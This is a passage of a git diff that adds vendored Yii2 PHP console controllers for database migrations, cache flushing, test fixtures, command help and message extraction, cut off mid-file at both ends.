1 ? 'migration' : 'migrations') . ":\n"; + } else { + echo "Found $n new " . ($n === 1 ? 'migration' : 'migrations') . ":\n"; + } + + foreach ($migrations as $migration) { + echo " " . $migration . "\n"; + } + } + } + + /** + * Creates a new migration. + * + * This command creates a new migration using the available migration template. + * After using this command, developers should modify the created migration + * skeleton by filling up the actual migration logic. + * + * ~~~ + * yii migrate/create create_user_table + * ~~~ + * + * @param string $name the name of the new migration. This should only contain + * letters, digits and/or underscores. + * @throws Exception if the name argument is invalid. + */ + public function actionCreate($name) + { + if (!preg_match('/^\w+$/', $name)) { + throw new Exception("The migration name should contain letters, digits and/or underscore characters only."); + } + + $name = 'm' . gmdate('ymd_His') . '_' . $name; + $file = $this->migrationPath . DIRECTORY_SEPARATOR . $name . '.php'; + + if ($this->confirm("Create new migration '$file'?")) { + $content = $this->renderFile(Yii::getAlias($this->templateFile), ['className' => $name]); + file_put_contents($file, $content); + echo "New migration created successfully.\n"; + } + } + + /** + * Upgrades with the specified migration class. + * @param string $class the migration class name + * @return boolean whether the migration is successful + */ + protected function migrateUp($class) + { + if ($class === self::BASE_MIGRATION) { + return true; + } + + echo "*** applying $class\n"; + $start = microtime(true); + $migration = $this->createMigration($class); + if ($migration->up() !== false) { + $this->addMigrationHistory($class); + $time = microtime(true) - $start; + echo "*** applied $class (time: " . sprintf("%.3f", $time) . "s)\n\n"; + + return true; + } else { + $time = microtime(true) - $start; + echo "*** failed to apply $class (time: " . sprintf("%.3f", $time) . "s)\n\n"; + + return false; + } + } + + /** + * Downgrades with the specified migration class. + * @param string $class the migration class name + * @return boolean whether the migration is successful + */ + protected function migrateDown($class) + { + if ($class === self::BASE_MIGRATION) { + return true; + } + + echo "*** reverting $class\n"; + $start = microtime(true); + $migration = $this->createMigration($class); + if ($migration->down() !== false) { + $this->removeMigrationHistory($class); + $time = microtime(true) - $start; + echo "*** reverted $class (time: " . sprintf("%.3f", $time) . "s)\n\n"; + + return true; + } else { + $time = microtime(true) - $start; + echo "*** failed to revert $class (time: " . sprintf("%.3f", $time) . "s)\n\n"; + + return false; + } + } + + /** + * Creates a new migration instance. + * @param string $class the migration class name + * @return \yii\db\MigrationInterface the migration instance + */ + protected function createMigration($class) + { + $file = $this->migrationPath . DIRECTORY_SEPARATOR . $class . '.php'; + require_once($file); + + return new $class(); + } + + /** + * Migrates to the specified apply time in the past. + * @param integer $time UNIX timestamp value. + */ + protected function migrateToTime($time) + { + $count = 0; + $migrations = array_values($this->getMigrationHistory(null)); + while ($count < count($migrations) && $migrations[$count] > $time) { + ++$count; + } + if ($count === 0) { + echo "Nothing needs to be done.\n"; + } else { + $this->actionDown($count); + } + } + + /** + * Migrates to the certain version. + * @param string $version name in the full format. + * @throws Exception if the provided version cannot be found. + */ + protected function migrateToVersion($version) + { + $originalVersion = $version; + + // try migrate up + $migrations = $this->getNewMigrations(); + foreach ($migrations as $i => $migration) { + if (strpos($migration, $version . '_') === 0) { + $this->actionUp($i + 1); + + return self::EXIT_CODE_NORMAL; + } + } + + // try migrate down + $migrations = array_keys($this->getMigrationHistory(null)); + foreach ($migrations as $i => $migration) { + if (strpos($migration, $version . '_') === 0) { + if ($i === 0) { + echo "Already at '$originalVersion'. Nothing needs to be done.\n"; + } else { + $this->actionDown($i); + } + + return self::EXIT_CODE_NORMAL; + } + } + + throw new Exception("Unable to find the version '$originalVersion'."); + } + + /** + * Returns the migrations that are not applied. + * @return array list of new migrations + */ + protected function getNewMigrations() + { + $applied = []; + foreach ($this->getMigrationHistory(null) as $version => $time) { + $applied[substr($version, 1, 13)] = true; + } + + $migrations = []; + $handle = opendir($this->migrationPath); + while (($file = readdir($handle)) !== false) { + if ($file === '.' || $file === '..') { + continue; + } + $path = $this->migrationPath . DIRECTORY_SEPARATOR . $file; + if (preg_match('/^(m(\d{6}_\d{6})_.*?)\.php$/', $file, $matches) && is_file($path) && !isset($applied[$matches[2]])) { + $migrations[] = $matches[1]; + } + } + closedir($handle); + sort($migrations); + + return $migrations; + } + + /** + * Returns the migration history. + * @param integer $limit the maximum number of records in the history to be returned. `null` for "no limit". + * @return array the migration history + */ + abstract protected function getMigrationHistory($limit); + + /** + * Adds new migration entry to the history. + * @param string $version migration version name. + */ + abstract protected function addMigrationHistory($version); + + /** + * Removes existing migration from the history. + * @param string $version migration version name. + */ + abstract protected function removeMigrationHistory($version); +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/CacheController.php b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/CacheController.php new file mode 100644 index 00000000..9acc9c76 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/CacheController.php @@ -0,0 +1,236 @@ + + * @author Mark Jebri + * @since 2.0 + */ +class CacheController extends Controller +{ + /** + * Lists the caches that can be flushed. + */ + public function actionIndex() + { + $caches = $this->findCaches(); + + if (!empty($caches)) { + $this->notifyCachesCanBeFlushed($caches); + } else { + $this->notifyNoCachesFound(); + } + } + + /** + * Flushes given cache components. + * For example, + * + * ~~~ + * # flushes caches specified by their id: "first", "second", "third" + * yii cache/flush first second third + * ~~~ + * + */ + public function actionFlush() + { + $cachesInput = func_get_args(); + + if (empty($cachesInput)) { + throw new Exception("You should specify cache components names"); + } + + $caches = $this->findCaches($cachesInput); + $cachesInfo = []; + + $foundCaches = array_keys($caches); + $notFoundCaches = array_diff($cachesInput, array_keys($caches)); + + if ($notFoundCaches) { + $this->notifyNotFoundCaches($notFoundCaches); + } + + if (!$foundCaches) { + $this->notifyNoCachesFound(); + return static::EXIT_CODE_NORMAL; + } + + if (!$this->confirmFlush($foundCaches)) { + return static::EXIT_CODE_NORMAL; + } + + foreach ($caches as $name => $class) { + $cachesInfo[] = [ + 'name' => $name, + 'class' => $class, + 'is_flushed' => Yii::$app->get($name)->flush(), + ]; + } + + $this->notifyFlushed($cachesInfo); + } + + /** + * Flushes all caches registered in the system. + */ + public function actionFlushAll() + { + $caches = $this->findCaches(); + $cachesInfo = []; + + if (empty($caches)) { + $this->notifyNoCachesFound(); + return static::EXIT_CODE_NORMAL; + } + + foreach ($caches as $name => $class) { + $cachesInfo[] = [ + 'name' => $name, + 'class' => $class, + 'is_flushed' => Yii::$app->get($name)->flush(), + ]; + } + + $this->notifyFlushed($cachesInfo); + } + + /** + * Notifies user that given caches are found and can be flushed. + * @param array $caches array of cache component classes + */ + private function notifyCachesCanBeFlushed($caches) + { + $this->stdout("The following caches were found in the system:\n\n", Console::FG_YELLOW); + + foreach ($caches as $name => $class) { + $this->stdout("\t* $name ($class)\n", Console::FG_GREEN); + } + + $this->stdout("\n"); + } + + /** + * Notifies user that there was not found any cache in the system. + */ + private function notifyNoCachesFound() + { + $this->stdout("No cache components were found in the system.\n", Console::FG_RED); + } + + /** + * Notifies user that given cache components were not found in the system. + * @param array $cachesNames + */ + private function notifyNotFoundCaches($cachesNames) + { + $this->stdout("The following cache components were NOT found:\n\n", Console::FG_RED); + + foreach ($cachesNames as $name) { + $this->stdout("\t * $name \n", Console::FG_GREEN); + } + + $this->stdout("\n"); + } + + /** + * + * @param array $caches + */ + private function notifyFlushed($caches) + { + $this->stdout("The following cache components were processed:\n\n", Console::FG_YELLOW); + + foreach ($caches as $cache) { + $this->stdout("\t* " . $cache['name'] ." (" . $cache['class'] . ")", Console::FG_GREEN); + + if (!$cache['is_flushed']) { + $this->stdout(" - not flushed\n", Console::FG_RED); + } else { + $this->stdout("\n"); + } + } + + $this->stdout("\n"); + } + + /** + * Prompts user with confirmation if caches should be flushed. + * @param array $cachesNames + * @return boolean + */ + private function confirmFlush($cachesNames) + { + $this->stdout("The following cache components will be flushed:\n\n", Console::FG_YELLOW); + + foreach ($cachesNames as $name) { + $this->stdout("\t * $name \n", Console::FG_GREEN); + } + + return $this->confirm("\nFlush above cache components?"); + } + + /** + * Returns array of caches in the system, keys are cache components names, values are class names. + * @param array $cachesNames caches to be found + * @return array + */ + private function findCaches(array $cachesNames = []) + { + $caches = []; + $components = Yii::$app->getComponents(); + $findAll = ($cachesNames == []); + + foreach ($components as $name => $component) { + if (!$findAll && !in_array($name, $cachesNames)) { + continue; + } + + if ($component instanceof Cache) { + $caches[$name] = get_class($component); + } elseif (is_array($component) && isset($component['class']) && $this->isCacheClass($component['class'])) { + $caches[$name] = $component['class']; + } elseif (is_string($component) && $this->isCacheClass($component)) { + $caches[$name] = $component; + } + } + + return $caches; + } + + /** + * Checks if given class is a Cache class. + * @param string $className class name. + * @return boolean + */ + private function isCacheClass($className) + { + return is_subclass_of($className, Cache::className()); + } + +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/FixtureController.php b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/FixtureController.php new file mode 100644 index 00000000..133bb481 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/FixtureController.php @@ -0,0 +1,479 @@ + + * @since 2.0 + */ +class FixtureController extends Controller +{ + use FixtureTrait; + + /** + * @var string controller default action ID. + */ + public $defaultAction = 'load'; + /** + * @var string default namespace to search fixtures in + */ + public $namespace = 'tests\unit\fixtures'; + /** + * @var bool whether to append new fixture data to the existing ones. + * Defaults to false, meaning if there is any existing fixture data, it will be removed. + */ + public $append = false; + /** + * @var array global fixtures that should be applied when loading and unloading. By default it is set to `InitDbFixture` + * that disables and enables integrity check, so your data can be safely loaded. + */ + public $globalFixtures = [ + 'yii\test\InitDb', + ]; + + + /** + * @inheritdoc + */ + public function options($actionID) + { + return array_merge(parent::options($actionID), [ + 'namespace', 'globalFixtures', 'append' + ]); + } + + /** + * Loads the specified fixture data. + * For example, + * + * ~~~ + * # load the fixture data specified by User and UserProfile. + * # any existing fixture data will be removed first + * yii fixture/load User UserProfile + * + * # load the fixture data specified by User and UserProfile. + * # the new fixture data will be appended to the existing one + * yii fixture/load --append User UserProfile + * + * # load all available fixtures found under 'tests\unit\fixtures' + * yii fixture/load "*" + * + * # load all fixtures except User and UserProfile + * yii fixture/load "*" -User -UserProfile + * ~~~ + * + * @throws Exception if the specified fixture does not exist. + */ + public function actionLoad() + { + $fixturesInput = func_get_args(); + $filtered = $this->filterFixtures($fixturesInput); + $except = $filtered['except']; + + if (!$this->needToApplyAll($fixturesInput[0])) { + + $fixtures = $filtered['apply']; + + $foundFixtures = $this->findFixtures($fixtures); + $notFoundFixtures = array_diff($fixtures, $foundFixtures); + + if ($notFoundFixtures) { + $this->notifyNotFound($notFoundFixtures); + } + + } else { + $foundFixtures = $this->findFixtures(); + } + + $fixturesToLoad = array_diff($foundFixtures, $except); + + if (!$foundFixtures) { + throw new Exception( + "No files were found by name: \"" . implode(', ', $fixturesInput) . "\".\n" . + "Check that files with these name exists, under fixtures path: \n\"" . $this->getFixturePath() . "\"." + ); + } + + if (!$fixturesToLoad) { + $this->notifyNothingToLoad($foundFixtures, $except); + return static::EXIT_CODE_NORMAL; + } + + if (!$this->confirmLoad($fixturesToLoad, $except)) { + return static::EXIT_CODE_NORMAL; + } + + $fixtures = $this->getFixturesConfig(array_merge($this->globalFixtures, $fixturesToLoad)); + + if (!$fixtures) { + throw new Exception('No fixtures were found in namespace: "' . $this->namespace . '"' . ''); + } + + $fixturesObjects = $this->createFixtures($fixtures); + + if (!$this->append) { + $this->unloadFixtures($fixturesObjects); + } + + $this->loadFixtures($fixturesObjects); + $this->notifyLoaded($fixtures); + } + + /** + * Unloads the specified fixtures. + * For example, + * + * ~~~ + * # unload the fixture data specified by User and UserProfile. + * yii fixture/unload User UserProfile + * + * # unload all fixtures found under 'tests\unit\fixtures' + * yii fixture/unload "*" + * + * # unload all fixtures except User and UserProfile + * yii fixture/unload "*" -User -UserProfile + * ~~~ + * + * @throws Exception if the specified fixture does not exist. + */ + public function actionUnload() + { + $fixturesInput = func_get_args(); + $filtered = $this->filterFixtures($fixturesInput); + $except = $filtered['except']; + + if (!$this->needToApplyAll($fixturesInput[0])) { + + $fixtures = $filtered['apply']; + + $foundFixtures = $this->findFixtures($fixtures); + $notFoundFixtures = array_diff($fixtures, $foundFixtures); + + if ($notFoundFixtures) { + $this->notifyNotFound($notFoundFixtures); + } + + } else { + $foundFixtures = $this->findFixtures(); + } + + $fixturesToUnload = array_diff($foundFixtures, $except); + + if (!$foundFixtures) { + throw new Exception( + "No files were found by name: \"" . implode(', ', $fixturesInput) . "\".\n" . + "Check that files with these name exists, under fixtures path: \n\"" . $this->getFixturePath() . "\"." + ); + } + + if (!$fixturesToUnload) { + $this->notifyNothingToUnload($foundFixtures, $except); + return static::EXIT_CODE_NORMAL; + } + + if (!$this->confirmUnload($fixturesToUnload, $except)) { + return static::EXIT_CODE_NORMAL; + } + + $fixtures = $this->getFixturesConfig(array_merge($this->globalFixtures, $fixturesToUnload)); + + if (!$fixtures) { + throw new Exception('No fixtures were found in namespace: ' . $this->namespace . '".'); + } + + $this->unloadFixtures($this->createFixtures($fixtures)); + $this->notifyUnloaded($fixtures); + } + + /** + * Notifies user that fixtures were successfully loaded. + * @param array $fixtures + */ + private function notifyLoaded($fixtures) + { + $this->stdout("Fixtures were successfully loaded from namespace:\n", Console::FG_YELLOW); + $this->stdout("\t\"" . Yii::getAlias($this->namespace) . "\"\n\n", Console::FG_GREEN); + $this->outputList($fixtures); + } + + /** + * Notifies user that there are no fixtures to load according input conditions + */ + public function notifyNothingToLoad($foundFixtures, $except) + { + $this->stdout("Fixtures to load could not be found according given conditions:\n\n", Console::FG_RED); + $this->stdout("Fixtures namespace is: \n", Console::FG_YELLOW); + $this->stdout("\t" . $this->namespace . "\n", Console::FG_GREEN); + + if (count($foundFixtures)) { + $this->stdout("\nFixtures founded under the namespace:\n\n", Console::FG_YELLOW); + $this->outputList($foundFixtures); + } + + if (count($except)) { + $this->stdout("\nFixtures that will NOT be loaded: \n\n", Console::FG_YELLOW); + $this->outputList($except); + } + } + + /** + * Notifies user that there are no fixtures to unload according input conditions + */ + public function notifyNothingToUnload($foundFixtures, $except) + { + $this->stdout("Fixtures to unload could not be found according given conditions:\n\n", Console::FG_RED); + $this->stdout("Fixtures namespace is: \n", Console::FG_YELLOW); + $this->stdout("\t" . $this->namespace . "\n", Console::FG_GREEN); + + if (count($foundFixtures)) { + $this->stdout("\nFixtures founded under the namespace:\n\n", Console::FG_YELLOW); + $this->outputList($foundFixtures); + } + + if (count($except)) { + $this->stdout("\nFixtures that will NOT be unloaded: \n\n", Console::FG_YELLOW); + $this->outputList($except); + } + } + + /** + * Notifies user that fixtures were successfully unloaded. + * @param array $fixtures + */ + private function notifyUnloaded($fixtures) + { + $this->stdout("\nFixtures were successfully unloaded from namespace: ", Console::FG_YELLOW); + $this->stdout(Yii::getAlias($this->namespace) . "\"\n\n", Console::FG_GREEN); + $this->outputList($fixtures); + } + + /** + * Notifies user that fixtures were not found under fixtures path. + * @param array $fixtures + */ + private function notifyNotFound($fixtures) + { + $this->stdout("Some fixtures were not found under path:\n", Console::BG_RED); + $this->stdout("\t" . $this->getFixturePath() . "\n\n", Console::FG_GREEN); + $this->stdout("Check that they have correct namespace \"{$this->namespace}\" \n", Console::BG_RED); + $this->outputList($fixtures); + $this->stdout("\n"); + } + + /** + * Prompts user with confirmation if fixtures should be loaded. + * @param array $fixtures + * @param array $except + * @return boolean + */ + private function confirmLoad($fixtures, $except) + { + $this->stdout("Fixtures namespace is: \n", Console::FG_YELLOW); + $this->stdout("\t" . $this->namespace . "\n\n", Console::FG_GREEN); + + if (count($this->globalFixtures)) { + $this->stdout("Global fixtures will be used:\n\n", Console::FG_YELLOW); + $this->outputList($this->globalFixtures); + } + + if (count($fixtures)) { + $this->stdout("\nFixtures below will be loaded:\n\n", Console::FG_YELLOW); + $this->outputList($fixtures); + } + + if (count($except)) { + $this->stdout("\nFixtures that will NOT be loaded: \n\n", Console::FG_YELLOW); + $this->outputList($except); + } + + return $this->confirm("\nLoad above fixtures?"); + } + + /** + * Prompts user with confirmation for fixtures that should be unloaded. + * @param array $fixtures + * @param array $except + * @return boolean + */ + private function confirmUnload($fixtures, $except) + { + $this->stdout("Fixtures namespace is: \n", Console::FG_YELLOW); + $this->stdout("\t" . $this->namespace . "\n\n", Console::FG_GREEN); + + if (count($this->globalFixtures)) { + $this->stdout("Global fixtures will be used:\n\n", Console::FG_YELLOW); + $this->outputList($this->globalFixtures); + } + + if (count($fixtures)) { + $this->stdout("\nFixtures below will be unloaded:\n\n", Console::FG_YELLOW); + $this->outputList($fixtures); + } + + if (count($except)) { + $this->stdout("\nFixtures that will NOT be unloaded:\n\n", Console::FG_YELLOW); + $this->outputList($except); + } + + return $this->confirm("\nUnload fixtures?"); + } + + /** + * Outputs data to the console as a list. + * @param array $data + */ + private function outputList($data) + { + foreach ($data as $index => $item) { + $this->stdout("\t" . ($index + 1) . ". {$item}\n", Console::FG_GREEN); + } + } + + /** + * Checks if needed to apply all fixtures. + * @param string $fixture + * @return bool + */ + public function needToApplyAll($fixture) + { + return $fixture == '*'; + } + + /** + * Finds fixtures to be loaded, for example "User", if no fixtures were specified then all of them + * will be searching by suffix "Fixture.php". + * @param array $fixtures fixtures to be loaded + * @return array Array of found fixtures. These may differ from input parameter as not all fixtures may exists. + */ + private function findFixtures(array $fixtures = []) + { + $fixturesPath = $this->getFixturePath(); + + $filesToSearch = ['*Fixture.php']; + $findAll = ($fixtures == []); + + if (!$findAll) { + + $filesToSearch = []; + + foreach ($fixtures as $fileName) { + $filesToSearch[] = $fileName . 'Fixture.php'; + } + } + + $files = FileHelper::findFiles($fixturesPath, ['only' => $filesToSearch]); + $foundFixtures = []; + + foreach ($files as $fixture) { + $foundFixtures[] = basename($fixture, 'Fixture.php'); + } + + return $foundFixtures; + } + + /** + * Returns valid fixtures config that can be used to load them. + * @param array $fixtures fixtures to configure + * @return array + */ + private function getFixturesConfig($fixtures) + { + $config = []; + + foreach ($fixtures as $fixture) { + + $isNamespaced = (strpos($fixture, '\\') !== false); + $fullClassName = $isNamespaced ? $fixture . 'Fixture' : $this->namespace . '\\' . $fixture . 'Fixture'; + + if (class_exists($fullClassName)) { + $config[] = $fullClassName; + } + } + + return $config; + } + + /** + * Filters fixtures by splitting them in two categories: one that should be applied and not. + * If fixture is prefixed with "-", for example "-User", that means that fixture should not be loaded, + * if it is not prefixed it is considered as one to be loaded. Returs array: + * + * ~~~ + * [ + * 'apply' => [ + * User, + * ... + * ], + * 'except' => [ + * Custom, + * ... + * ], + * ] + * ~~~ + * @param array $fixtures + * @return array fixtures array with 'apply' and 'except' elements. + */ + private function filterFixtures($fixtures) + { + $filtered = [ + 'apply' => [], + 'except' => [], + ]; + + foreach ($fixtures as $fixture) { + if (mb_strpos($fixture, '-') !== false) { + $filtered['except'][] = str_replace('-', '', $fixture); + } else { + $filtered['apply'][] = $fixture; + } + } + + return $filtered; + } + + /** + * Returns fixture path that determined on fixtures namespace. + * @return string fixture path + */ + private function getFixturePath() + { + return Yii::getAlias('@' . str_replace('\\', '/', $this->namespace)); + } + +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/HelpController.php b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/HelpController.php new file mode 100644 index 00000000..55a3b9f3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/HelpController.php @@ -0,0 +1,371 @@ + + * @since 2.0 + */ +class HelpController extends Controller +{ + /** + * Displays available commands or the detailed information + * about a particular command. + * + * @param string $command The name of the command to show help about. + * If not provided, all available commands will be displayed. + * @return integer the exit status + * @throws Exception if the command for help is unknown + */ + public function actionIndex($command = null) + { + if ($command !== null) { + $result = Yii::$app->createController($command); + if ($result === false) { + $name = $this->ansiFormat($command, Console::FG_YELLOW); + throw new Exception("No help for unknown command \"$name\"."); + } + + list($controller, $actionID) = $result; + + $actions = $this->getActions($controller); + if ($actionID !== '' || count($actions) === 1 && $actions[0] === $controller->defaultAction) { + $this->getSubCommandHelp($controller, $actionID); + } else { + $this->getCommandHelp($controller); + } + } else { + $this->getDefaultHelp(); + } + } + + /** + * Returns all available command names. + * @return array all available command names + */ + public function getCommands() + { + $commands = $this->getModuleCommands(Yii::$app); + sort($commands); + return array_unique($commands); + } + + /** + * Returns an array of commands an their descriptions. + * @return array all available commands as keys and their description as values. + */ + protected function getCommandDescriptions() + { + $descriptions = []; + foreach ($this->getCommands() as $command) { + $description = ''; + + $result = Yii::$app->createController($command); + if ($result !== false) { + list($controller, $actionID) = $result; + /** @var Controller $controller */ + $description = $controller->getHelpSummary(); + } + + $descriptions[$command] = $description; + } + + return $descriptions; + } + + /** + * Returns all available actions of the specified controller. + * @param Controller $controller the controller instance + * @return array all available action IDs. + */ + public function getActions($controller) + { + $actions = array_keys($controller->actions()); + $class = new \ReflectionClass($controller); + foreach ($class->getMethods() as $method) { + $name = $method->getName(); + if ($method->isPublic() && !$method->isStatic() && strpos($name, 'action') === 0 && $name !== 'actions') { + $actions[] = Inflector::camel2id(substr($name, 6), '-', true); + } + } + sort($actions); + + return array_unique($actions); + } + + /** + * Returns available commands of a specified module. + * @param \yii\base\Module $module the module instance + * @return array the available command names + */ + protected function getModuleCommands($module) + { + $prefix = $module instanceof Application ? '' : $module->getUniqueID() . '/'; + + $commands = []; + foreach (array_keys($module->controllerMap) as $id) { + $commands[] = $prefix . $id; + } + + foreach ($module->getModules() as $id => $child) { + if (($child = $module->getModule($id)) === null) { + continue; + } + foreach ($this->getModuleCommands($child) as $command) { + $commands[] = $command; + } + } + + $controllerPath = $module->getControllerPath(); + if (is_dir($controllerPath)) { + $files = scandir($controllerPath); + foreach ($files as $file) { + if (!empty($file) && substr_compare($file, 'Controller.php', -14, 14) === 0) { + $controllerClass = $module->controllerNamespace . '\\' . substr(basename($file), 0, -4); + if ($this->validateControllerClass($controllerClass)) { + $commands[] = $prefix . Inflector::camel2id(substr(basename($file), 0, -14)); + } + } + } + } + + return $commands; + } + + /** + * Validates if the given class is a valid console controller class. + * @param string $controllerClass + * @return bool + */ + protected function validateControllerClass($controllerClass) + { + if (class_exists($controllerClass)) { + $class = new \ReflectionClass($controllerClass); + return !$class->isAbstract() && $class->isSubclassOf('yii\console\Controller'); + } else { + return false; + } + } + + /** + * Displays all available commands. + */ + protected function getDefaultHelp() + { + $commands = $this->getCommandDescriptions(); + $this->stdout("\nThis is Yii version " . \Yii::getVersion() . ".\n"); + if (!empty($commands)) { + $this->stdout("\nThe following commands are available:\n\n", Console::BOLD); + $len = 0; + foreach ($commands as $command => $description) { + if (($l = strlen($command)) > $len) { + $len = $l; + } + } + foreach ($commands as $command => $description) { + echo "- " . $this->ansiFormat($command, Console::FG_YELLOW); + echo str_repeat(' ', $len + 3 - strlen($command)) . $description; + echo "\n"; + } + $scriptName = $this->getScriptName(); + $this->stdout("\nTo see the help of each command, enter:\n", Console::BOLD); + echo "\n $scriptName " . $this->ansiFormat('help', Console::FG_YELLOW) . ' ' + . $this->ansiFormat('', Console::FG_CYAN) . "\n\n"; + } else { + $this->stdout("\nNo commands are found.\n\n", Console::BOLD); + } + } + + /** + * Displays the overall information of the command. + * @param Controller $controller the controller instance + */ + protected function getCommandHelp($controller) + { + $controller->color = $this->color; + + $this->stdout("\nDESCRIPTION\n", Console::BOLD); + $comment = $controller->getHelp(); + if ($comment !== '') { + $this->stdout("\n$comment\n\n"); + } + + $actions = $this->getActions($controller); + if (!empty($actions)) { + $this->stdout("\nSUB-COMMANDS\n\n", Console::BOLD); + $prefix = $controller->getUniqueId(); + foreach ($actions as $action) { + echo '- ' . $this->ansiFormat($prefix.'/'.$action, Console::FG_YELLOW); + if ($action === $controller->defaultAction) { + $this->stdout(' (default)', Console::FG_GREEN); + } + $summary = $controller->getActionHelpSummary($controller->createAction($action)); + if ($summary !== '') { + echo ': ' . $summary; + } + echo "\n"; + } + $scriptName = $this->getScriptName(); + echo "\nTo see the detailed information about individual sub-commands, enter:\n"; + echo "\n $scriptName " . $this->ansiFormat('help', Console::FG_YELLOW) . ' ' + . $this->ansiFormat('', Console::FG_CYAN) . "\n\n"; + } + } + + /** + * Displays the detailed information of a command action. + * @param Controller $controller the controller instance + * @param string $actionID action ID + * @throws Exception if the action does not exist + */ + protected function getSubCommandHelp($controller, $actionID) + { + $action = $controller->createAction($actionID); + if ($action === null) { + $name = $this->ansiFormat(rtrim($controller->getUniqueId() . '/' . $actionID, '/'), Console::FG_YELLOW); + throw new Exception("No help for unknown sub-command \"$name\"."); + } + + $description = $controller->getActionHelp($action); + if ($description != '') { + $this->stdout("\nDESCRIPTION\n", Console::BOLD); + $this->stdout("\n$description\n\n"); + } + + $this->stdout("\nUSAGE\n\n", Console::BOLD); + $scriptName = $this->getScriptName(); + if ($action->id === $controller->defaultAction) { + echo $scriptName . ' ' . $this->ansiFormat($controller->getUniqueId(), Console::FG_YELLOW); + } else { + echo $scriptName . ' ' . $this->ansiFormat($action->getUniqueId(), Console::FG_YELLOW); + } + + $args = $controller->getActionArgsHelp($action); + foreach ($args as $name => $arg) { + if ($arg['required']) { + $this->stdout(' <' . $name . '>', Console::FG_CYAN); + } else { + $this->stdout(' [' . $name . ']', Console::FG_CYAN); + } + } + + $options = $controller->getActionOptionsHelp($action); + $options[\yii\console\Application::OPTION_APPCONFIG] = [ + 'type' => 'string', + 'default' => null, + 'comment' => "custom application configuration file path.\nIf not set, default application configuration is used.", + ]; + ksort($options); + + if (!empty($options)) { + $this->stdout(' [...options...]', Console::FG_RED); + } + echo "\n\n"; + + if (!empty($args)) { + foreach ($args as $name => $arg) { + echo $this->formatOptionHelp( + '- ' . $this->ansiFormat($name, Console::FG_CYAN), + $arg['required'], + $arg['type'], + $arg['default'], + $arg['comment']) . "\n\n"; + } + } + + if (!empty($options)) { + $this->stdout("\nOPTIONS\n\n", Console::BOLD); + foreach ($options as $name => $option) { + echo $this->formatOptionHelp( + $this->ansiFormat('--' . $name, Console::FG_RED, empty($option['required']) ? Console::FG_RED : Console::BOLD), + !empty($option['required']), + $option['type'], + $option['default'], + $option['comment']) . "\n\n"; + } + } + } + + /** + * Generates a well-formed string for an argument or option. + * @param string $name the name of the argument or option + * @param boolean $required whether the argument is required + * @param string $type the type of the option or argument + * @param mixed $defaultValue the default value of the option or argument + * @param string $comment comment about the option or argument + * @return string the formatted string for the argument or option + */ + protected function formatOptionHelp($name, $required, $type, $defaultValue, $comment) + { + $comment = trim($comment); + $type = trim($type); + if (strncmp($type, 'bool', 4) === 0) { + $type = 'boolean, 0 or 1'; + } + + if ($defaultValue !== null && !is_array($defaultValue)) { + if ($type === null) { + $type = gettype($defaultValue); + } + if (is_bool($defaultValue)) { + // show as integer to avoid confusion + $defaultValue = (int) $defaultValue; + } + if (is_string($defaultValue)) { + $defaultValue = "'" . $defaultValue . "'"; + } else { + $defaultValue = var_export($defaultValue, true); + } + $doc = "$type (defaults to " . $defaultValue . ")"; + } else { + $doc = $type; + } + + if ($doc === '') { + $doc = $comment; + } elseif ($comment !== '') { + $doc .= "\n" . preg_replace("/^/m", " ", $comment); + } + + $name = $required ? "$name (required)" : $name; + + return $doc === '' ? $name : "$name: $doc"; + } + + /** + * @return string the name of the cli script currently running. + */ + protected function getScriptName() + { + return basename(Yii::$app->request->scriptFile); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/MessageController.php b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/MessageController.php new file mode 100644 index 00000000..f9b2f2bd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/console/controllers/MessageController.php @@ -0,0 +1,478 @@ + + * @since 2.0 + */ +class MessageController extends Controller +{ + /** + * @var string controller default action ID. + */ + public $defaultAction = 'extract'; + + + /** + * Creates a configuration file for the "extract" command. + * + * The generated configuration file contains detailed instructions on + * how to customize it to fit for your needs. After customization, + * you may use this configuration file with the "extract" command. + * + * @param string $filePath output file name or alias. + * @throws Exception on failure. + */ + public function actionConfig($filePath) + { + $filePath = Yii::getAlias($filePath); + if (file_exists($filePath)) { + if (!$this->confirm("File '{$filePath}' already exists. Do you wish to overwrite it?")) { + return self::EXIT_CODE_NORMAL; + } + } + copy(Yii::getAlias('@yii/views/messageConfig.php'), $filePath); + echo "Configuration file template created at '{$filePath}'.\n\n"; + } + + /** + * Extracts messages to be translated from source code. + * + * This command will search through source code files and extract + * messages that need to be translated in different languages. + * + * @param string $configFile the path or alias of the configuration file. + * You may use the "yii message/config" command to generate + * this file and then customize it for your needs. + * @throws Exception on failure. + */ + public function actionExtract($configFile) + { + $configFile = Yii::getAlias($configFile); + if (!is_file($configFile)) { + throw new Exception("The configuration file does not exist: $configFile"); + } + + $config = array_merge([ + 'translator' => 'Yii::t', + 'overwrite' => false, + 'removeUnused' => false, + 'sort' => false, + 'format' => 'php', + ], require($configFile)); + + if (!isset($config['sourcePath'], $config['languages'])) { + throw new Exception('The configuration file must specify "sourcePath" and "languages".'); + } + if (!is_dir($config['sourcePath'])) { + throw new Exception("The source path {$config['sourcePath']} is not a valid directory."); + } + if (empty($config['format']) || !in_array($config['format'], ['php', 'po', 'db'])) { + throw new Exception('Format should be either "php", "po" or "db".'); + } + if (in_array($config['format'], ['php', 'po'])) { + if (!isset($config['messagePath'])) { + throw new Exception('The configuration file must specify "messagePath".'); + } elseif (!is_dir($config['messagePath'])) { + throw new Exception("The message path {$config['messagePath']} is not a valid directory."); + } + } + if (empty($config['languages'])) { + throw new Exception("Languages cannot be empty."); + } + + $files = FileHelper::findFiles(realpath($config['sourcePath']), $config); + + $messages = []; + foreach ($files as $file) { + $messages = array_merge_recursive($messages, $this->extractMessages($file, $config['translator'])); + } + if (in_array($config['format'], ['php', 'po'])) { + foreach ($config['languages'] as $language) { + $dir = $config['messagePath'] . DIRECTORY_SEPARATOR . $language; + if (!is_dir($dir)) { + @mkdir($dir); + } + if ($config['format'] === 